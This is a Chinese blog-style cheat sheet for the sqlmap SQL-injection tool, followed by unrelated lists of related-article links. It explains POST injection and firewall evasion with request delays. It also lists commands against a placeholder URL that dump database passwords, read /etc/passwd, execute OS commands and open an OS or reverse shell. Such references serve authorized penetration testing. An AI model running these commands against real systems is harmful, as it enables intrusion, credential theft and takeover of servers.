-r "抓的包存放的文件路径.txt"    一般方便带cookie与session类型

--dbms Oracle/Mysql     指定数据库类型

指定变量注入点变量:在变量值(value)后面加*

--level 3    [1-5]

--risk 1   [1-3]

===========决定探测深度(尝试的数量)。

其他的供参考:

TIP1

POST注入

有两种方法来进行post注入,一种是使用--data参数,将post的key和value用类似GET方式来提交。二是使用-r参数,sqlmap读取用户抓到的POST请求包,来进行POST注入检测。

查看payload

之 前一直是加本地代理,然后用burpsuit来看sqlmap的payload,到现在才发现用-v参数就可以实现。一直认为-v实现的只是控制警 告,debug信息级别。实际上使用-v 3就可以显示注入的payload,4,5,6还可以显示HTTP请求,HTTP响应头和页面。

使用google搜索

sqlmap可以测试google搜索结果中的sql注入,很强大的功能吧。使用方法是参数-g。不过感觉实际使用中这个用的还是很少的。

请求延时

在 注入过程中请求太频繁的话可能会被防火墙拦截,这时候--delay参数就起作用了。可以设定两次HTTP请求间的延时。有的web程序会在多次错误访问 后屏蔽所有请求,这样就导致之后所有的测试无法进行,绕过这个策略可以使用--safe-url,每隔一段时间去访问一个正常的页面。

伪静态页面

有些web服务器进行了url rewrite或者网站是伪静态的,无法直接提供测试参数,这样子可以使用*来代替要测试的参数。

执行系统命令

当 数据库支持,并且当前用户有权限的时候,可以执行系统命令,使用--os-cmd或者--os-shell,具体的讲,当可以执行多语句的时候,会尝试用 UDF(MySQL,PostgrepSQL)或者xp_cmdshell(MSSQL)来执行系统命令。不能执行多语句时,仍然会尝试创建一个 webshell来执行语句,这时候就需要web的绝对路径了。总体来说,成功率偏低,不过个人也有成功的经验~

测试等级

sqlmap使用--level参数来进行不同全面性的测试,默认为1,不同的参数影响了使用哪些payload,2时会进行cookie注入检测,3时会进行useragent检测。

TIP2

  sqlmap -u “http://url/news id=1″ --dbms “Mysql” –users # dbms 指定数 据库类型
sqlmap -u “http://url/news id=1″--users #列数据库用户
sqlmap -u “http://url/news id=1″--dbs#列数据库
sqlmap -u “http://url/news id=1″--passwords #数据库用户密码
sqlmap -u “http://url/news id=1″--passwords-U root -v 0 #列出指定用户 数据库密码
sqlmap  -u  “http://url/news id=1″  --dump  -C  “password,user,id”  -T “tablename”-D “db_name”
–start 1 –stop 20 #列出指定字段,列出20 条
sqlmap -u “http://url/news id=1″--dump-all -v 0 #列出所有数据库所有表
sqlmap -u “http://url/news id=1″--privileges #查看权限
sqlmap
-u “http://url/news id=1″--privileges -U root #查看指定用户权限sqlmap -u
“http://url/news id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news
id=1″ –roles #枚举数据库用户角色
sqlmap -u “http://url/news id=1″--udf-inject #导入用户自定义函数(获取 系统权限!)
sqlmap -u “http://url/news id=1″--dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
sqlmap -u “http://url/news id=1″--union-cols #union 查询表记录
sqlmap -u “http://url/news id=1″--cookie “COOKIE_VALUE”#cookie注入
sqlmap -u “http://url/news id=1″--b #获取banner信息
sqlmap -u “http://url/news id=1″--data “id=3″#post注入
sqlmap -u “http://url/news id=1″-v 1 -f #指纹判别数据库类型
sqlmap -u “http://url/news id=1″--proxy“” #代理注 入
sqlmap -u “http://url/news id=1″--string”STRING_ON_TRUE_PAGE”# 指 定关键词
sqlmap -u “http://url/news id=1″--sql-shell #执行指定sql命令
sqlmap -u “http://url/news id=1″--file /etc/passwd
sqlmap -u “http://url/news id=1″--os-cmd=whoami #执行系统命令
sqlmap -u “http://url/news id=1″--os-shell #系统交互shell sqlmap -u “http://url/news id=1″ –os-pwn #反弹shell
sqlmap -u “http://url/news id=1″--reg-read #读取win系统注册表
sqlmap -u “http://url/news id=1″--dbs-o “sqlmap.log”#保存进度
sqlmap -u “http://url/news id=1″--dbs -o “sqlmap.log” –resume #恢复 已保存进度

sqlmap我常用到的几个参数的更多相关文章

  1. angular-cli.json配置参数解释,以及依稀常用命令的通用关键参数解释

    一. angular-cli.json常见配置 { "project": { "name": "ng-admin", //项目名称 &quo ...

  2. Highcharts常用的最核心的参数选项配置详细说明

    Highcharts提供大量的选项配置参数,您可以轻松定制符合用户要求的图表,目前官网只提供英文版的开发配置说明文档,而中文版的文档网上甚少,且零散不全.这里,我把Highcharts常用的最核心的参 ...

  3. 一些常用软件的静默安装参数(nsis,msi,InstallShield,Inno)

    打包的时候,经常需要安装一些其它的环境库,而又不想让用户繁锁的去选择,这时就需要静默安装,而不同的文件所加的参数了不一致,比如VS的环境库vcredist_x86.exe(这是32位的环境库)后面加/ ...

  4. SQLMAP自动注入(三):参数介绍

    --delay延时扫描 --scope 从burpsuit日志中过滤日志内容,通过正则表达式筛选扫描目标,19开头,尾数为1.11.121.221的目标 --level=3 会检查user-agent ...

  5. linux常用命令:find 命令参数详解

    find一些常用参数的一些常用实例和一些具体用法和注意事项. 1.使用name选项: 文件名选项是find命令最常用的选项,要么单独使用该选项,要么和其他选项一起使用.  可以使用某种文件名模式来匹配 ...

  6. 10个常用的ps命令总结,参数

    Linux系统中10个常用的ps命令总结 PS 命令是什么 查看它的man手册可以看到,ps命令能够给出当前系统中进程的快照.它能捕获系统在某一事件的进程状态.如果你想不断更新查看的这个状态,可以使用 ...

  7. 常用的JVM调优参数总结汇总【随时查阅学习】

    本文章参数根据后期用的参数会持续更新  --- (1)-Xms20M 表示设置JVM启动内存的最小值为20M,必须以M为单位 (2)-Xmx20M 表示设置JVM启动内存的最大值为20M,必须以M为单 ...

  8. Django models 的常用字段类型和字段参数

    <1> CharField #字符串字段, 用于较短的字符串. #CharField 要求必须有一个参数 maxlength, 用于从数据库层和Django校验层限制该字段所允许的最大字符 ...

  9. numpy 和 pandas 中常用的一些函数及其参数

    numpy中有一些常用的用来产生随机数的函数,randn()和rand()就属于这其中. numpy.random.randn(d0, d1, …, dn)是从标准正态分布中返回一个或多个样本值.  ...

随机推荐

  1. 47. 数组中出现次数超过一半的数字[Number appears more than half times]

    [题目]:数组中有一个数字出现的次数超过了数组长度的一半,找出这个数字. 例如长度为9的数组{1,2,3,2,2,2,5,4,2}中次数超过了数组长度的一半的数字为2,而长度为8的数组{1,2,3,2 ...

  2. iOS 推荐一个下载用的第三方库

    AFNetworking有下载功能,但是下载功能比较基本,要实现复杂下载功能需要自己写一些代码.今天在github上找到了一个下载功能的开源项目,非常不错,链接如下:https://github.co ...

  3. MFC 相关文件夹、文件操作

    //关于文件(夹)操作,可以参考下SHFileOperation这个外壳函数,貌似可以显示进度条.以下没有使用SHFileOperation//删除一个文件夹下的所有内容void myDeleteDi ...

  4. eclipse原文件编码GBK-UTF8

    菜单Window-Preferences-General-Workspace,在右侧面板的Text file encoding选项中选择Other:UTF-8 上一步如果不起作用,可以尝试设置下: W ...

  5. 搭建Maven工程的时候,做单元测试,报ClassNotFoundException

    搭建Maven工程的时候报错 问题原因是在spring.xml中配置的  classpath:config.properties  没有在工程中创建.

  6. Fedora 启动sshd服务:

    .先确认是否已安装ssh服务: [root@localhost ~]# rpm -qa | grep openssh-server openssh-server-.3p1-.fc12.i686 (这行 ...

  7. (*p)++和*(p++)和*p++的区别

    * 和++优先级是同一级别,同一级别按照从右往左的顺序计算 所以:  *p++等价于*(p++) #define debug(x) cout << #x << " a ...

  8. Duilib非官方更新贴~

    GitHub: https://github.com/movsb/duilib.git 2014-07-20: [76a04d1]    [BugFix] 修复无法解析类似<Control/&g ...

  9. 如何从本地把项目上传到github

    在本地项目所在目录按以下步骤操作 echo # test >> README.md git init git add README.md git add . git commit -m . ...

  10. spring 源代码地址

    spring的源代码地址发生了更改,以前的地址是 https://src.springframework.org/svn/spring-framework/.但现在spring的代码开始使用Git进行 ...